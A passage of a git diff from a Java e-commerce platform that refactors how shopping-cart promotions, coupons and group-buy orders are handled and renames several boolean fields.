promotionGoodsService.updatePromotion(cartSkuVO); //赋予商品促销信息 - for (PromotionGoods promotionGoods : cartSkuVO.getPromotions()) { - + for (Map.Entry entry : cartSkuVO.getPromotionMap().entrySet()) { // 忽略拼团活动 - if (promotionGoods.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())) { + if (entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { continue; } - PromotionSkuVO promotionSkuVO = new PromotionSkuVO(promotionGoods.getPromotionType(), promotionGoods.getPromotionId()); - cartSkuVO.setPurchasePrice(promotionGoods.getPrice()); - cartSkuVO.setSubTotal(CurrencyUtil.mul(promotionGoods.getPrice(), cartSkuVO.getNum())); + BasePromotions basePromotions = (BasePromotions) entry.getValue(); + PromotionSkuVO promotionSkuVO = new PromotionSkuVO(entry.getKey().split("-")[0], basePromotions.getId()); + cartSkuVO.setSubTotal(CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); cartSkuVO.getPriceDetailDTO().setGoodsPrice(cartSkuVO.getSubTotal()); cartSkuVO.getPriceDetailDTO().getJoinPromotion().add(promotionSkuVO); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index a51427d3..bc75c9f9 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -1,16 +1,19 @@ package cn.lili.modules.order.cart.service; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.utils.CurrencyUtil; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; +import cn.lili.modules.goods.entity.vos.GoodsVO; import cn.lili.modules.goods.service.GoodsService; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.member.entity.dos.MemberAddress; @@ -25,17 +28,26 @@ import cn.lili.modules.order.cart.entity.vo.TradeParams; import cn.lili.modules.order.cart.render.TradeBuilder; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.vo.ReceiptVO; -import cn.lili.modules.promotion.entity.dos.*; +import cn.lili.modules.promotion.entity.dos.KanjiaActivity; +import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; +import cn.lili.modules.promotion.entity.dos.MemberCoupon; +import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; -import cn.lili.modules.promotion.service.*; +import cn.lili.modules.promotion.service.KanjiaActivityService; +import cn.lili.modules.promotion.service.MemberCouponService; +import cn.lili.modules.promotion.service.PointsGoodsService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; +import cn.lili.modules.search.service.EsGoodsIndexService; import cn.lili.modules.search.service.EsGoodsSearchService; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.GoodsTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import lombok.extern.slf4j.Slf4j; +import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -73,11 +85,6 @@ public class CartServiceImpl implements CartService { * 促销商品 */ @Autowired - private PromotionGoodsService promotionGoodsService; - /** - * 促销商品 - */ - @Autowired private PointsGoodsService pointsGoodsService; /** * 会员地址 @@ -89,23 +96,31 @@ public class CartServiceImpl implements CartService { */ @Autowired private EsGoodsSearchService esGoodsSearchService; + /** + * 商品索引 + */ + @Autowired + private EsGoodsIndexService goodsIndexService; /** * ES商品 */ @Autowired private GoodsService goodsService; - /** - * 拼团 - */ - @Autowired - private PintuanService pintuanService; /** * 砍价 */ @Autowired private KanjiaActivityService kanjiaActivityService; + /** + * rocketMq + */ @Autowired - private KanjiaActivityGoodsService kanjiaActivityGoodsService; + private RocketMQTemplate rocketMQTemplate; + /** + * rocketMq配置 + */ + @Autowired + private RocketmqCustomProperties rocketmqCustomProperties; /** * 交易 */ @@ -118,7 +133,28 @@ public class CartServiceImpl implements CartService { throw new ServiceException(ResultCode.CART_NUM_ERROR); } CartTypeEnum cartTypeEnum = getCartType(cartType); - GoodsSku dataSku = checkGoods(skuId, cartType); + GoodsSku dataSku = checkGoods(skuId); + Map promotionMap; + EsGoodsIndex goodsIndex = goodsIndexService.findById(skuId); + if (goodsIndex == null) { + GoodsVO goodsVO = this.goodsService.getGoodsVO(dataSku.getGoodsId()); + goodsIndex = goodsIndexService.resetEsGoodsIndex(dataSku, goodsVO.getGoodsParamsDTOList()); + + //发送mq消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.RESET_GOODS_INDEX.name(); + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(Collections.singletonList(goodsIndex)), RocketmqSendCallbackBuilder.commonCallback()); + } + if (goodsIndex.getPromotionMap() != null && !goodsIndex.getPromotionMap().isEmpty()) { + if (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.SECKILL.name())) || + (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name())) + && CartTypeEnum.PINTUAN.name().equals(cartType))) { + dataSku.setPromotionFlag(true); + dataSku.setPromotionPrice(goodsIndex.getPromotionPrice()); + } + promotionMap = goodsIndex.getPromotionMap(); + } else { + promotionMap = null; + } try { //购物车方式购买需要保存之前的选择,其他方式购买,则直接抹除掉之前的记录 TradeDTO tradeDTO; @@ -150,10 +186,9 @@ public class CartServiceImpl implements CartService { //先清理一下 如果商品无效的话 cartSkuVOS.remove(cartSkuVO); //购物车中不存在此商品,则新建立一个 - cartSkuVO = new CartSkuVO(dataSku); + cartSkuVO = new CartSkuVO(dataSku, promotionMap); cartSkuVO.setCartType(cartTypeEnum); - promotionGoodsService.updatePromotion(cartSkuVO); //再设置加入购物车的数量 this.checkSetGoodsQuantity(cartSkuVO, skuId, num); //计算购物车小计 @@ -171,9 +206,8 @@ public class CartServiceImpl implements CartService { List cartSkuVOS = tradeDTO.getSkuList(); //购物车中不存在此商品,则新建立一个 - CartSkuVO cartSkuVO = new CartSkuVO(dataSku); + CartSkuVO cartSkuVO = new CartSkuVO(dataSku, promotionMap); cartSkuVO.setCartType(cartTypeEnum); - promotionGoodsService.updatePromotion(cartSkuVO); //检测购物车数据 checkCart(cartTypeEnum, cartSkuVO, skuId, num); //计算购物车小计 @@ -329,17 +363,15 @@ public class CartServiceImpl implements CartService { long count = 0L; double totalPrice = tradeDTO.getSkuList().stream().mapToDouble(i -> i.getPurchasePrice() * i.getNum()).sum(); if (tradeDTO.getSkuList() != null && !tradeDTO.getSkuList().isEmpty()) { - List ids = tradeDTO.getSkuList().parallelStream().filter(i -> Boolean.TRUE.equals(i.getChecked())).map(i -> i.getGoodsSku().getId()).collect(Collectors.toList()); + List ids = tradeDTO.getSkuList().stream().filter(i -> Boolean.TRUE.equals(i.getChecked())).map(i -> i.getGoodsSku().getId()).collect(Collectors.toList()); List esGoodsList = esGoodsSearchService.getEsGoodsBySkuIds(ids); for (EsGoodsIndex esGoodsIndex : esGoodsList) { - if (esGoodsIndex != null) { - if (esGoodsIndex.getPromotionMap() != null) { - List couponIds = esGoodsIndex.getPromotionMap().keySet().parallelStream().filter(i -> i.contains(PromotionTypeEnum.COUPON.name())).map(i -> i.substring(i.lastIndexOf("-") + 1)).collect(Collectors.toList()); - if (!couponIds.isEmpty()) { - List currentGoodsCanUse = memberCouponService.getCurrentGoodsCanUse(tradeDTO.getMemberId(), couponIds, totalPrice); - count = currentGoodsCanUse.size(); - } + if (esGoodsIndex != null && esGoodsIndex.getPromotionMap() != null) { + List couponIds = esGoodsIndex.getPromotionMap().keySet().stream().filter(i -> i.contains(PromotionTypeEnum.COUPON.name())).map(i -> i.substring(i.lastIndexOf("-") + 1)).collect(Collectors.toList()); + if (!couponIds.isEmpty()) { + List currentGoodsCanUse = memberCouponService.getCurrentGoodsCanUse(tradeDTO.getMemberId(), couponIds, totalPrice); + count = currentGoodsCanUse.size(); } } } @@ -370,26 +402,15 @@ public class CartServiceImpl implements CartService { * 校验商品有效性,判定失效和库存,促销活动价格 * * @param skuId 商品skuId - * @param cartType 购物车类型 */ - private GoodsSku checkGoods(String skuId, String cartType) { + private GoodsSku checkGoods(String skuId) { GoodsSku dataSku = this.goodsSkuService.getGoodsSkuByIdFromCache(skuId); if (dataSku == null) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } - if (!GoodsAuthEnum.PASS.name().equals(dataSku.getIsAuth()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { + if (!GoodsAuthEnum.PASS.name().equals(dataSku.getAuthFlag()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } - Double validSeckillGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.SECKILL.name())); - if (validSeckillGoodsPrice != null) { - dataSku.setIsPromotion(true); - dataSku.setPromotionPrice(validSeckillGoodsPrice); - } - Double validPintuanGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.PINTUAN.name())); - if (validPintuanGoodsPrice != null && CartTypeEnum.PINTUAN.name().equals(cartType)) { - dataSku.setIsPromotion(true); - dataSku.setPromotionPrice(validPintuanGoodsPrice); - } return dataSku; } @@ -517,7 +538,7 @@ public class CartServiceImpl implements CartService { if (use) { this.useCoupon(tradeDTO, memberCoupon, cartTypeEnum); } else { - if (Boolean.TRUE.equals(memberCoupon.getIsPlatform())) { + if (Boolean.TRUE.equals(memberCoupon.getPlatformFlag())) { tradeDTO.setPlatformCoupon(null); } else { tradeDTO.getStoreCoupons().remove(memberCoupon.getStoreId()); @@ -585,23 +606,17 @@ public class CartServiceImpl implements CartService { //购物车价格 - Double cartPrice = 0d; + double cartPrice = 0d; //循环符合优惠券的商品 for (CartSkuVO cartSkuVO : cartSkuVOS) { - if (!cartSkuVO.getChecked()) { + if (Boolean.FALSE.equals(cartSkuVO.getChecked())) { continue; } - //获取商品的促销信息 - Optional promotionOptional = - cartSkuVO.getPromotions().parallelStream().filter(promotionGoods -> - (promotionGoods.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name()) && - cartTypeEnum.equals(CartTypeEnum.PINTUAN)) || - promotionGoods.getPromotionType().equals(PromotionTypeEnum.SECKILL.name())).findAny(); //有促销金额则用促销金额,否则用商品原价 - if (promotionOptional.isPresent()) { - cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(promotionOptional.get().getPrice(), cartSkuVO.getNum())); - skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(promotionOptional.get().getPrice(), cartSkuVO.getNum())); + if (cartSkuVO.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name()) || i.contains(PromotionTypeEnum.SECKILL.name()))) { + cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); + skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); } else { cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum())); skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum())); @@ -612,7 +627,7 @@ public class CartServiceImpl implements CartService { //如果购物车金额大于消费门槛则使用 if (cartPrice >= memberCoupon.getConsumeThreshold()) { //如果是平台优惠券 - if (memberCoupon.getIsPlatform()) { + if (Boolean.TRUE.equals(memberCoupon.getPlatformFlag())) { tradeDTO.setPlatformCoupon(new MemberCouponDTO(skuPrice, memberCoupon)); } else { tradeDTO.getStoreCoupons().put(memberCoupon.getStoreId(), new MemberCouponDTO(skuPrice, memberCoupon)); @@ -631,7 +646,7 @@ public class CartServiceImpl implements CartService { private List checkCoupon(MemberCoupon memberCoupon, TradeDTO tradeDTO) { List cartSkuVOS; //如果是店铺优惠券,判定的内容 - if (!memberCoupon.getIsPlatform()) { + if (Boolean.FALSE.equals(memberCoupon.getPlatformFlag())) { cartSkuVOS = tradeDTO.getSkuList().stream().filter(i -> i.getStoreId().equals(memberCoupon.getStoreId())).collect(Collectors.toList()); } //否则为平台优惠券,筛选商品为全部商品 @@ -687,27 +702,16 @@ public class CartServiceImpl implements CartService { private void checkPintuan(CartSkuVO cartSkuVO) { //拼团活动,需要对限购数量进行判定 //获取拼团信息 - List currentPromotion = cartSkuVO.getPromotions().stream().filter( - promotionGoods -> (promotionGoods.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name()))) - .collect(Collectors.toList()); - //拼团活动判定 - if (!currentPromotion.isEmpty()) { - PromotionGoods promotionGoods = currentPromotion.get(0); + Optional> pintuanPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + if (pintuanPromotions.isPresent()) { + Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); //写入拼团信息 - cartSkuVO.setPintuanId(promotionGoods.getPromotionId()); - //写入成交信息 - cartSkuVO.setUtilPrice(promotionGoods.getPrice()); - cartSkuVO.setPurchasePrice(promotionGoods.getPrice()); - } else { - //如果拼团活动被异常处理,则在这里安排mq重新写入商品索引 - goodsSkuService.generateEs(goodsService.getById(cartSkuVO.getGoodsSku().getGoodsId())); - throw new ServiceException(ResultCode.CART_PINTUAN_NOT_EXIST_ERROR); - } - //检测拼团限购数量 - Pintuan pintuan = pintuanService.getById(cartSkuVO.getPintuanId()); - Integer limitNum = pintuan.getLimitNum(); - if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { - throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR); + cartSkuVO.setPintuanId(pintuan.getId()); + //检测拼团限购数量 + Integer limitNum = pintuan.getLimitNum(); + if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { + throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR); + } } } @@ -718,29 +722,32 @@ public class CartServiceImpl implements CartService { */ private void checkKanjia(CartSkuVO cartSkuVO) { - //根据skuId获取砍价商品 - KanjiaActivityGoods kanjiaActivityGoodsDTO = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); + Optional> kanjiaPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); + if (kanjiaPromotions.isPresent()) { + KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); + //查找当前会员的砍价商品活动 + KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); + kanjiaActivitySearchParams.setKanjiaActivityGoodsId(kanjiaActivityGoods.getId()); + kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); + kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); + KanjiaActivity kanjiaActivity = kanjiaActivityService.getKanjiaActivity(kanjiaActivitySearchParams); - //查找当前会员的砍价商品活动 - KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); - kanjiaActivitySearchParams.setKanjiaActivityGoodsId(kanjiaActivityGoodsDTO.getId()); - kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); - kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); - KanjiaActivity kanjiaActivity = kanjiaActivityService.getKanjiaActivity(kanjiaActivitySearchParams); - - //校验砍价活动是否满足条件 - //判断发起砍价活动 - if (kanjiaActivity == null) { - throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_FOUND_ERROR); - //判断砍价活动是否已满足条件 - } else if (!KanJiaStatusEnum.SUCCESS.name().equals(kanjiaActivity.getStatus())) { + //校验砍价活动是否满足条件 + //判断发起砍价活动 + if (kanjiaActivity == null) { + throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_FOUND_ERROR); + //判断砍价活动是否已满足条件 + } else if (!KanJiaStatusEnum.SUCCESS.name().equals(kanjiaActivity.getStatus())) { + cartSkuVO.setKanjiaId(kanjiaActivity.getId()); + cartSkuVO.setPurchasePrice(0D); + throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_PASS_ERROR); + } + //砍价商品默认一件货物 cartSkuVO.setKanjiaId(kanjiaActivity.getId()); - cartSkuVO.setPurchasePrice(0D); - throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_PASS_ERROR); + cartSkuVO.setNum(1); } - //砍价商品默认一件货物 - cartSkuVO.setKanjiaId(kanjiaActivity.getId()); - cartSkuVO.setNum(1); + + } /** diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java index e9edf4b3..22d0e877 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java @@ -12,7 +12,6 @@ import cn.lili.modules.order.cart.entity.enums.DeliveryMethodEnum; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.order.order.entity.enums.*; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; @@ -274,9 +273,8 @@ public class Order extends BaseEntity { //判断是否为拼团订单,如果为拼团订单获取拼团ID,判断是否为主订单 if (tradeDTO.getCartTypeEnum().name().equals(PromotionTypeEnum.PINTUAN.name())) { - Optional pintuanId = cartVO.getCheckedSkuList().get(0).getPromotions().stream() - .filter(i -> i.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())).map(PromotionGoods::getPromotionId).findFirst(); - promotionId = pintuanId.get(); + Optional pintuanPromotions = cartVO.getCheckedSkuList().get(0).getPromotionMap().keySet().stream().filter(i -> i.contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + pintuanPromotions.ifPresent(s -> promotionId = s.split("-")[1]); } } } diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index 52201b71..16b90c07 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -15,6 +15,7 @@ import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.OperationalJudgment; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; +import cn.lili.common.utils.SnowFlake; import cn.lili.common.utils.StringUtils; import cn.lili.modules.goods.entity.dto.GoodsCompleteMessage; import cn.lili.modules.member.entity.dto.MemberAddressDTO; @@ -251,7 +252,7 @@ public class OrderServiceImpl extends ServiceImpl implements LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()); queryWrapper.eq(Order::getPromotionId, pintuanId); - queryWrapper.nested(i -> i.eq(Order::getPayStatus, PayStatusEnum.PAID.name()).or().eq(Order::getOrderStatus, OrderStatusEnum.PAID.name())); + queryWrapper.nested(i -> i.eq(Order::getPayStatus, PayStatusEnum.PAID.name()).or(j -> j.eq(Order::getOrderStatus, OrderStatusEnum.PAID.name()))); return this.list(queryWrapper); } @@ -693,12 +694,11 @@ public class OrderServiceImpl extends ServiceImpl implements @Override public boolean checkFictitiousOrder(String pintuanId, Integer requiredNum, Boolean fictitious) { Map> collect = this.queryListByPromotion(pintuanId) - .stream().filter(i -> CharSequenceUtil.isNotEmpty(i.getParentOrderSn())) - .collect(Collectors.groupingBy(Order::getParentOrderSn)); + .stream().collect(Collectors.groupingBy(Order::getParentOrderSn)); for (Map.Entry> entry : collect.entrySet()) { //是否开启虚拟成团 - if (Boolean.FALSE.equals(fictitious) && entry.getValue().size() < requiredNum) { + if (Boolean.FALSE.equals(fictitious) && CharSequenceUtil.isNotEmpty(entry.getKey()) && entry.getValue().size() < requiredNum) { //如果未开启虚拟成团且已参团人数小于成团人数,则自动取消订单 String reason = "拼团活动结束订单未付款,系统自动取消订单"; if (CharSequenceUtil.isNotEmpty(entry.getKey())) { @@ -739,7 +739,9 @@ public class OrderServiceImpl extends ServiceImpl implements //添加虚拟成团 for (int i = 0; i < waitNum; i++) { Order order = new Order(); - BeanUtil.copyProperties(paidOrders.get(0), order); + BeanUtil.copyProperties(paidOrders.get(0), order, "id", "sn"); + order.setSn(SnowFlake.createStr("G")); + order.setParentOrderSn(paidOrders.get(0).getParentOrderSn()); order.setMemberId("-1"); order.setMemberName("参团人员"); order.setDeleteFlag(true); @@ -748,6 +750,7 @@ public class OrderServiceImpl extends ServiceImpl implements } for (Order paidOrder : paidOrders) { paidOrder.setOrderStatus(OrderStatusEnum.UNDELIVERED.name()); + this.updateById(paidOrder); orderStatusMessage(paidOrder); } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java index 48b894e0..e7ea4388 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java @@ -31,34 +31,34 @@ public class FullDiscount extends BasePromotions { private Double fullMoney; @ApiModelProperty(value = "活动是否减现金") - private Boolean isFullMinus; + private Boolean fullMinusFlag; @ApiModelProperty(value = "减现金") private Double fullMinus; @ApiModelProperty(value = "是否打折") - private Boolean isFullRate; + private Boolean fullRateFlag; @ApiModelProperty(value = "打折") private Double fullRate; @ApiModelProperty(value = "是否赠送积分") - private Boolean isPoint; + private Boolean pointFlag; @ApiModelProperty(value = "赠送多少积分") private Integer point; @ApiModelProperty(value = "是否包邮") - private Boolean isFreeFreight; + private Boolean freeFreightFlag; @ApiModelProperty(value = "是否有赠品") - private Boolean isGift; + private Boolean giftFlag; @ApiModelProperty(value = "赠品id") private String giftId; @ApiModelProperty(value = "是否赠优惠券") - private Boolean isCoupon; + private Boolean couponFlag; @ApiModelProperty(value = "优惠券id") private String couponId; @@ -71,45 +71,45 @@ public class FullDiscount extends BasePromotions { private String description; - public Boolean getIsFullMinus() { - if (isFullMinus == null) { + public Boolean getFullMinusFlag() { + if (fullMinusFlag == null) { return false; } - return isFullMinus; + return fullMinusFlag; } - public Boolean getIsFullRate() { - if (isFullRate == null) { + public Boolean getFullRateFlag() { + if (fullRateFlag == null) { return false; } - return isFullRate; + return fullRateFlag; } - public Boolean getIsPoint() { - if (isPoint == null) { + public Boolean getPointFlag() { + if (pointFlag == null) { return false; } - return isPoint; + return pointFlag; } - public Boolean getIsFreeFreight() { - if (isFreeFreight == null) { + public Boolean getFreeFreightFlag() { + if (freeFreightFlag == null) { return false; } - return isFreeFreight; + return freeFreightFlag; } - public Boolean getIsGift() { - if (isGift == null) { + public Boolean getGiftFlag() { + if (giftFlag == null) { return false; } - return isGift; + return giftFlag; } - public Boolean getIsCoupon() { - if (isCoupon == null) { + public Boolean getCouponFlag() { + if (couponFlag == null) { return false; } - return isCoupon; + return couponFlag; } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java index e3127cbd..a726e780 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java @@ -86,7 +86,7 @@ public class MemberCoupon extends BaseEntity { private String getType; @ApiModelProperty(value = "是否是平台优惠券") - private Boolean isPlatform; + private Boolean platformFlag; @ApiModelProperty(value = "店铺承担比例") private Double storeCommission; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java index 2e53e971..2475528d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java @@ -124,6 +124,8 @@ public class PromotionGoods extends BaseEntity { } } + + public PromotionGoods(KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO) { if (kanjiaActivityGoodsDTO != null) { BeanUtil.copyProperties(kanjiaActivityGoodsDTO, this, "id"); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java index c4a5dc00..aafa8bc0 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java @@ -9,7 +9,7 @@ import lombok.Data; import lombok.EqualsAndHashCode; import java.io.Serializable; -import java.util.Collections; +import java.util.Arrays; import java.util.Date; /** @@ -70,7 +70,7 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se public QueryWrapper queryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); if (storeId != null) { - queryWrapper.in("store_id", Collections.singletonList(storeId)); + queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); } if (CharSequenceUtil.isNotEmpty(couponName)) { queryWrapper.like("coupon_name", couponName); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java index c6fb7a5e..7dc41e69 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java @@ -29,7 +29,7 @@ public class FullDiscountSearchParams extends BasePromotionsSearchParams impleme private String storeId; @ApiModelProperty(value = "是否赠优惠券") - private Boolean isCoupon; + private Boolean couponFlag; @ApiModelProperty(value = "优惠券id") private String couponId; @@ -43,8 +43,8 @@ public class FullDiscountSearchParams extends BasePromotionsSearchParams impleme if (storeId != null) { queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); } - if (isCoupon != null) { - queryWrapper.eq("is_coupon", isCoupon); + if (couponFlag != null) { + queryWrapper.eq("coupon_flag", couponFlag); } if (CharSequenceUtil.isNotEmpty(couponId)) { queryWrapper.eq("coupon_id", couponId); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java index 932b1c8c..f1740fe6 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java @@ -4,14 +4,13 @@ package cn.lili.modules.promotion.entity.vos.kanjia; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.tools.PromotionTools; +import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import java.io.Serializable; -import java.util.Date; /** * 砍价活动商品查询通用类 @@ -19,44 +18,25 @@ import java.util.Date; * @author qiuqiu * @date 2020/8/21 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class KanjiaActivityGoodsParams implements Serializable { +public class KanjiaActivityGoodsParams extends BasePromotionsSearchParams implements Serializable { private static final long serialVersionUID = 1344104067705714289L; @ApiModelProperty(value = "活动商品") private String goodsName; - @ApiModelProperty(value = "活动开始时间") - private Long startTime; - - @ApiModelProperty(value = "活动结束时间") - private Long endTime; - @ApiModelProperty(value = "skuId") private String skuId; - /** - * @see PromotionsStatusEnum - */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; - - public QueryWrapper wrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); + @Override + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(goodsName)) { queryWrapper.like("goods_name", goodsName); } - if (promotionStatus != null) { - queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(promotionStatus))); - } - if (startTime != null) { - queryWrapper.le("start_time", new Date(startTime)); - } - if (endTime != 